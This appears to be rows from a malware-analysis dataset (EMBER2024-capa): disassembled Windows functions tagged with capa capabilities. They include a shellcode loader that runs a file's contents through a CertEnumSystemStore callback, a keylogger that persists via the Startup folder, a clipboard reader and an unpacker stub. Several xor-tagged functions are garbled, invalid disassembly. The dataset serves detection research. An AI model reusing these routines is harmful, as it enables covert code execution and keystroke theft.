joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400011c0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create directory
Execute shellcode via windows callback function
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x14000f008]
xor rax, rsp
mov qword [rbp - 0x10], rax
lea rcx, str.C:ProgramDatapowu
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x30], 0x5c5c3a43
mov dword [rbp - 0x2c], 0x676f7250
mov dword [rbp - 0x28], 0x446d6172
mov dword [rbp - 0x24], 0x5c617461
mov dword [rbp - 0x20], 0x776f705c
mov dword [rbp - 0x1c], 0x315c5c75
mov dword [rbp - 0x18], 0x67706a2e
mov byte [rbp - 0x14], 0
call section..text
lea rdx, [0x14000dd40]
lea rcx, str.C:_ProgramData_powu_1.jpg
call fcn.1400017f0
mov rbx, rax
test rax, rax
je 0x1400012b0
lea rcx, [0x140011400]
mov r9, rax
mov edx, 1
mov r8d, 0x21f30
call fcn.140001adc
mov rcx, rbx
call fcn.140001d94
call fcn.140001140
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov edx, 0x21f30
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rdx, [0x140011400]
mov r8d, 0x21f30
mov rcx, rax
mov rbx, rax
call fcn.140001320
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
xor eax, eax
jmp 0x1400012c1
lea rcx, str.Failed_to_open_the_file._n
call fcn.140001654
mov eax, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400012f0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x14000202f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000f008]
jne 0x14000130a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001306
repz ret
ror rcx, 0x10
jmp 0x140001f88
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140010480]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140010578]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000200d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140010480]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000202f
mov rax, qword [rsp + 0x88]
mov qword [0x140010578], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140010518], rax
mov rax, qword [0x140010578]
mov qword [0x1400103f0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140010500], rax
mov dword [0x1400103e0], 0xc0000409
mov dword [0x1400103e4], 1
mov rax, qword [0x14000f008]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000f010]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140010478], eax
mov ecx, 1
call fcn.1400067c8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000c2e0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140010478], 0
jne 0x1400020b6
mov ecx, 1
call fcn.1400067c8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140005640
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400054b0
Function at 0x140009724
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14000f008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140006370
xor ebx, ebx
cmp qword [0x1400113c0], rbx
mov rdi, rax
jne 0x140009837
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000990e
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000990e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1400113c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1400113c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1400113d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1400113e0], rax
test rax, rax
je 0x14000982e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1400113d8], rax
jmp 0x14000983e
mov rax, qword [0x1400113d8]
jmp 0x140009845
mov rax, qword [0x1400113d8]
mov r11, qword [0x1400113e0]
cmp rax, rdi
je 0x1400098ac
cmp r11, rdi
je 0x1400098ac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1400113e0]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400098ac
test rax, rax
je 0x1400098ac
call rsi
test rax, rax
je 0x1400098a6
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400098a6
test byte [rsp + 0x40], 1
jne 0x1400098ac
bts ebp, 0x15
jmp 0x1400098ec
mov rcx, qword [0x1400113c8]
cmp rcx, rdi
je 0x1400098ec
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400098ec
call rax
mov rbx, rax
test rax, rax
je 0x1400098ec
mov rcx, qword [0x1400113d0]
cmp rcx, rdi
je 0x1400098ec
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400098ec
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400113c0]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000990e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140009910
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400012f0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140030f40
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rax + 0x10]
lcall [rsi - 0x33563334]
int3
push r15
push 0x48535756
fucomi st(4)
push rax
mov rax, rsp
mov rax, qword [0x109129150]
loopne 0x140030f97
mov eax, dword [0x109129150]
xor rdi, rsp
mov qword [rcx + rbx*2 + 0x48], rax
mov byte [rsp + 0x47], 0
mov eax, dword [rdx]
cmp eax, 2
je 0x140030f4d
or dword [rcx], 1
jne 0x140030fde
add ecx, dword [rbx - 0x4c74b7f2]
call qword [rax + 8]
jl 0x140030f2d
fdivr dword [rbx + 0x48f10000]
mov ecx, dword [rsi - 0xd]
mov ecx, 0x50ff4a8b
sahf
jmp 0x1400310dd
push rax
or byte [rax - 0x39], cl
invalid
mov r15, r8
mov rdi, qword [rcx + 0x4c018b48]
lea esi, [rsp + 0x47]
mov r8d, 0xdf000001
mov qword [rax], r13
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x40]
mov edx, 0x2700003c
call fcn.1400368b0
mov rdi, rax
mov rcx, rax
call fcn.1400c4f50
mov rcx, qword [rsi]
mov rbx, qword [rcx]
mov rdx, rdi
mov r8b, 0x4e
call qword [rbx + 0x10]
sbb eax, 0x8b488869
add dword [rax + rdi*4 + 1], edx
mov rdx, r14
invalid
mov cl, 0x79
sub rax, 0xffffffff9a000000
lodsb al, byte [rsi]
xor byte [rax + 0x3e], r9b
leave
je 0x1400310f3
call 0x13f630e00
mov rcx, qword [rsp - 0x41]
xor rcx, rsp
call 0x1a70b8cc0
invalid

Function at 0x140042660
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
jmp 0x140042681
ror byte [rax - 0x3f], 0xe8
and byte [rcx + rbx + 0x48], dh
lea ecx, [rcx - 0x19]

Function at 0x140046100
Capabilities:
Query or enumerate registry value

Disassembly:
mov rbp, qword [rdi + 0xe2fa4]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov dword [rdx + 0x24], r13d
xor al, 0x48
lea eax, [rsp + 0x34]
mov qword [rdx - 5], rsi
and byte [rdi + rdi*4], bh
and al, 0x86
add al, 0
add byte [rax], al
xor r8d, r8d
test dword [r8 + rax], 0x8fff0000
fst dword [rcx - 0x573f7b00]
xchg esp, eax
ret
stosb byte [rdi], al
push r14
adc dword [rdi + 0x53], 0x3a
movabs al, byte [0x888948d6894940ec]
mov rax, qword [0x168129050]
jle 0x14004614b
loopne 0x1400460a5
mov dword [rsp + 0x68], eax
add edi, dword cs:[rsp + 0x30]
mov rdx, r15
and al, 0x28
mov dword [edi + edi*8 + 0x20], 0x34000000
xor esi, esi
lea r9, [rdx + rax*4 + 0x34]
xor r8d, r8d
call qword [0x10e123a20]
test eax, eax
seto byte [rcx - 0x7d000000]
and al, 0x34
insb byte [rdi], dx
or dword [rsp + 0x34], 0x6c
jne 0x1400461cc
mov edi, dword [rsp + 0x68]
add edi, 1
xchg byte [rcx + 0x48000000], ch
mov ecx, edi
xor r8d, r8d
call 0x15f042eb0
movabs rcx, 0x894828247c8963c6
and al, 0x20
lea r10, [rsi - 0x76b7cbdc]
fldcw word [rsi]
mov edx, esi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400461c2
cmp dword [rsp + 0x34], 1
jne 0x1400461c2
mov eax, dword [rsp + 0x30]
nop
clc
out 0x1d, eax
lea rbx, [rax]
and byte [rsi + rsi*2], dl
add byte [rax - 0x73], cl
adc eax, 0xd19eb
imul byte [r9 + rbp*8]
add al, ch
invalid
mov rax, rbp
call fcn.140042f50
xor esi, esi
sub dword [rbx + 0x3c389f4c], ecx
xor ecx, esp
out 0x2a, eax
invalid
Function at 0x1400a29e0
Capabilities:
Encode data using xor

Disassembly:
sbb dword [rdi + 0x5f], edx
push rsi
push r13
push r12
push rsi
push rdi
push rbp
movabs eax, dword [0x1e000000f8ecec48]
movaps xmmword [rdx - 0x39], xmm6
loopne 0x1400a2a2a
add byte [rdx], ch
invalid
and ah, byte [rsi + 0x60]
add byte [rax + 0x31], cl
loopne 0x1400a2a7b
mov dword [rdi], edx
and al, 0x88
add byte [rax], al
add byte [rax + rdx + 1], dl
movups xmm1, xmmword [rcx + 0x10]
psrlq mm2, qword [rcx + 0x20]
and byte [rdi + 0x24], bpl
outsb dx, byte [rsi]
invalid
and al, 0x44
mov ebx, dword [rsp + 0x70]
mov r13d, dword [rsp + 0x74]
mov ebp, dword [rsp + 0x74]
xor ecx, dword [rbx - 0x749fdb84]
mov fs, word [rsp + riz*2]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x58]
lahf
mov esi, dword [rax + rdi*8 + 0x48]
mov r11d, dword [rsp + 0x78]
mov r10d, dword [rsp + 0x68]
mov ebp, dword [rsp + 0x5c]
mov r8d, dword [rsp + 0x4c]
mov ebp, dword [rbx + 0x24]
jl 0x1400a2a74
and al, 0x30
invalid

Function at 0x1400a2dc0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
xor ah, byte [rax]
sub rsp, 0x7500f2
fmul dword [rcx - 0x3976b331]
mov r14, rdx
mov rbx, rcx
invalid

Function at 0x1400c90cb
Capabilities:
Encode data using xor

Disassembly:
js 0x1400c90d3
fimul word [r8 - 0x7d]
in al, dx
xor dh, bh
outsd dx, dword [rsi]
invalid
cmp dl, 0x3d
lea rbp, [rcx + rax - 0xcbbf0b8]
add dword [rax + 0xf], ecx
sub dword [rbx - 0x377cb738], ecx
add dword [rax + 0xf], ecx
sub dword [rbx - 0x377cb738], ecx
or rax, 0xffffffffffffffff
inc rax
jle 0x1400c9119
dec dword [rax - 1]
rol byte [rcx + 0x7e], 0x3c
add byte [rax], al
xor eax, 0xc04d49b0
add r8, rax
lodsb al, byte [rsi]
mov dl, byte [rax]
test byte [rax], ah
jne 0x1400c90c5
inc rcx
inc ecx
mov edx, 0x7b0062
xchg edi, eax
loope 0x1400c90b1
add byte [rbx + 0x48d86b48], bl
test eax, eax
jne 0x1400c910e
xor edx, dword [rbx]
call fcn.1400cb9b4
xor eax, eax
jo 0x1400c9180
mov r14, rbx
mov al, byte [rsi]
scasd eax, dword [rdi]
add dh, byte [rdi + rbx*2 + 0x48]
xor dword [rbp - 1], 0x48
inc ebp
jne 0x1400c911a
dec dword [rax - 1]
invalid
inc rbp
cmpsd dword [rsi], dword [rdi]
cmp al, 0x2e
add byte [rbp + 0x42], dh
inc rbp
cmp al, 0x3d
je 0x1400c9160
cli
cmp ebx, dword [rsi - 0x66b80000]
int 0xe8
movsb byte [rdi], byte [rsi]
mov eax, 0x8b650000
clc
invalid
cmpsb byte [rsi], byte [rdi]
xchg ecx, eax
cmc
jmp 0x1400c90ef
or dword [rbx + 0x482a245c], ecx
mov ebp, dword [rsp + 0x3a]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rdi + rdi*8 + 0x58]
add rsp, 0x30
pop r14
add dword [rax - 0x7d], ecx
and al, 0x20
sbb eax, dword [rbp + 0x33]
leave
xor r8d, r8d
sahf
shr al, cl
not dword [rdi - 0x33340000]
mov qword [rsi + rax*2 + 8], rbx
sbb rbp, qword [rsp + 0x10]
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
mov al, byte [rbx - 0x74eef014]
int1
xor ebx, dword [rax + 0x54c5cd8b]
invalid
Function at 0x14005d8c0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14005d8cd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14005d8dd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14005d8c5
lea eax, [rcx + 1]
jmp 0x14005d8eb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14005d8fe
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14005d8e4
sub eax, 3
jb 0x14005d91e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14005d96d
sar eax, 1
movsxd rbp, eax
jb 0x14005d954
jmp 0x14005d92c
add ebx, ebx
jne 0x14005d92a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14005d954
inc ecx
add ebx, ebx
jne 0x14005d93a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14005d954
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14005d94d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14005d93c
add ecx, 2
jmp 0x14005d959
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14005d882
jmp 0x14005d8cd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x29c00
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14005d9b9
cmp rsi, rcx
jae 0x14005d9c1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14005d9a0
cmp al, 0x8f
ja 0x14005d9a0
cmp byte [rsi - 2], 0xf
je 0x14005d9a6
sub al, 0xe8
cmp al, 1
ja 0x14005d98a
cmp rsi, rcx
jae 0x14005d9c1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14005d990
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14005d9c1
lodsb al, byte [rsi]
jmp 0x14005d9a0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x5b000]
mov eax, dword [rdi]
or eax, eax
je 0x14005da2a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x71c08]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14005d9ce
jns 0x14005da03
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14005da0d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14005da24
mov qword [rbx], rax
add rbx, 8
jmp 0x14005d9ee
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14005da64
cmp al, 0xef
ja 0x14005da56
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14005da36
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14005da45
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x227]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14005dab8
sub rsp, 0xffffffffffffff80
jmp 0x14000c200
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004056c0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004056d0]
mov dword [rax], 1
mov rax, qword [0x004056e0]
mov dword [rax], 1
mov rax, qword [0x004056b0]
mov dword [rax], 1
mov rax, qword [0x004055a0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004056a0]
mov dword [0x00408008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00405660]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00405550]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x401550
Capabilities:
Copy file
Log keystrokes
Log keystrokes via polling
Query environment variable
Write file on windows

Disassembly:
push rbp
sub rsp, 0x3b0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x340], ecx
lea rax, [rbp + 0x210]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rcx, str.APPDATA
call sym.getenv
mov qword [rbp + 0x320], rax
mov rdx, qword [rbp + 0x320]
lea rax, [rbp + 0x100]
mov r8, rdx
lea rdx, str._sMicrosoftWindowsStart_MenuProgramsStartupprogram.exe
mov rcx, rax
call sym.sprintf
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x210]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
je 0x4015e9
lea rcx, str.Program_successfully_copied_to_Windows_startup_folder.
call sym.puts
jmp 0x4015f5
lea rcx, str.Failed_to_copy_program_to_Windows_startup_folder.
call sym.puts
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
mov ecx, 0x91
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
mov ecx, 0x90
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
mov dword [rbp + 0x32c], 0
cmp dword [rbp + 0x340], 0xd
je 0x401679
cmp dword [rbp + 0x340], 0x10
je 0x40175b
cmp dword [rbp + 0x340], 8
jne 0x401695
lea rax, [rbp - 0x50]
lea rdx, str._BP_
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfA]
call rax
mov dword [rbp + 0x32c], eax
jmp 0x40175f
mov dword [rbp + 0x32c], 2
lea rax, [rbp - 0x50]
mov word [rax], 0xa0d
mov byte [rax + 2], 0
jmp 0x40175f
mov edx, 0
mov ecx, dword [rbp + 0x340]
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyA]
call rax
mov ecx, eax
lea rdx, [rbp - 0x22]
mov rax, rbp
mov dword [rsp + 0x20], 0
mov r9, rdx
mov r8, rax
mov edx, ecx
mov ecx, dword [rbp + 0x340]
mov rax, qword [sym.imp.USER32.dll_ToAscii]
call rax
cmp eax, 1
jne 0x4016ff
movzx eax, word [rbp - 0x22]
movsx edx, al
lea rax, [rbp - 0x50]
mov r8d, edx
lea rdx, [0x004050b7]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfA]
call rax
mov dword [rbp + 0x32c], eax
jmp 0x40175e
mov edx, 0
mov ecx, dword [rbp + 0x340]
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyA]
call rax
movzx eax, ax
shl eax, 0x10
mov ecx, eax
lea rax, [rbp - 0x20]
mov r8d, 0x20
mov rdx, rax
mov rax, qword [sym.imp.USER32.dll_GetKeyNameTextA]
call rax
test eax, eax
jle 0x40175e
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str.__s_
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfA]
call rax
mov dword [rbp + 0x32c], eax
jmp 0x40175e
nop
jmp 0x40175f
nop
cmp dword [rbp + 0x32c], 0
je 0x4017de
lea rax, [0x00408970]
mov rcx, qword [rax]
mov edx, dword [rbp + 0x32c]
lea rax, [rbp - 0x50]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rdx, rax
mov eax, dword [rbp + 0x32c]
cmp rdx, rax
je 0x4017cc
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x20
mov edx, 1
lea rcx, str.Can_not_write_to_key_to_logfile.
call sym.fwrite
mov eax, 0xffffffff
jmp 0x4017e3
lea rax, [0x00408970]
mov rax, qword [rax]
mov rcx, rax
call sym.fflush
mov eax, 0
add rsp, 0x3b0
pop rbp
ret
Function at 0x4017ec
Capabilities:
Register raw input devices
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x10], rcx
mov dword [rbp - 8], edx
mov qword [rbp], r8
mov qword [rbp + 8], r9
cmp dword [rbp - 8], 2
je 0x401977
cmp dword [rbp - 8], 0xff
je 0x401898
cmp dword [rbp - 8], 1
jne 0x401987
mov word [rbp - 0x50], 1
mov word [rbp - 0x4e], 6
mov dword [rbp - 0x4c], 0x100
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x50]
mov r8d, 0x10
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_RegisterRawInputDevices]
call rax
test eax, eax
jne 0x4019a9
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x22
mov edx, 1
lea rcx, str.Can_not_register_raw_input_device.
call sym.fwrite
mov rax, 0xffffffffffffffff
jmp 0x4019af
mov rax, qword [rbp + 8]
lea rdx, [rbp - 0x3c]
mov dword [rsp + 0x20], 0x18
mov r9, rdx
mov r8d, 0
mov edx, 0x10000003
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetRawInputData]
call rax
mov eax, dword [rbp - 0x3c]
mov ebx, eax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp - 0x38], rax
mov rax, qword [rbp + 8]
lea rdx, [rbp - 0x3c]
mov rcx, qword [rbp - 0x38]
mov dword [rsp + 0x20], 0x18
mov r9, rdx
mov r8, rcx
mov edx, 0x10000003
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetRawInputData]
call rax
test eax, eax
je 0x401954
mov rax, qword [rbp - 0x38]
mov eax, dword [rax]
cmp eax, 1
jne 0x401954
mov rax, qword [rbp - 0x38]
mov eax, dword [rax + 0x20]
cmp eax, 0x100
jne 0x401954
mov rax, qword [rbp - 0x38]
movzx eax, word [rax + 0x1e]
movzx eax, ax
mov ecx, eax
call sym.log_key
cmp eax, 0xffffffff
jne 0x401954
mov rcx, qword [rbp - 0x10]
mov rax, qword [sym.imp.USER32.dll_DestroyWindow]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rcx, rax
mov rax, qword [rbp - 0x38]
mov r8, rax
mov edx, 0
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
jmp 0x4019aa
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_PostQuitMessage]
call rax
jmp 0x4019aa
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp]
mov eax, dword [rbp - 8]
mov r9, rcx
mov r8, rdx
mov edx, eax
mov rcx, qword [rbp - 0x10]
mov rax, qword [sym.imp.USER32.dll_DefWindowProcA]
call rax
jmp 0x4019af
nop
mov eax, 0
add rsp, 0x58
pop rbx
pop rbp
ret
Function at 0x4019b6
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
jne 0x4019e5
lea rcx, str.Failed_to_open_clipboard.
call sym.puts
jmp 0x401ac2
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetClipboardData]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x401a18
lea rcx, str.Failed_to_get_clipboard_data.
call sym.puts
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
jmp 0x401ac2
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x401a4a
lea rcx, str.Failed_to_lock_clipboard_data.
call sym.puts
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
jmp 0x401ac2
lea rdx, [0x00405167]
mov rcx, qword [rbp + 0x10]
call sym.fopen
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x401a8c
lea rcx, str.Failed_to_open_file_for_writing.
call sym.puts
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
jmp 0x401ac2
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.fputs
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
nop
add rsp, 0x40
pop rbp
ret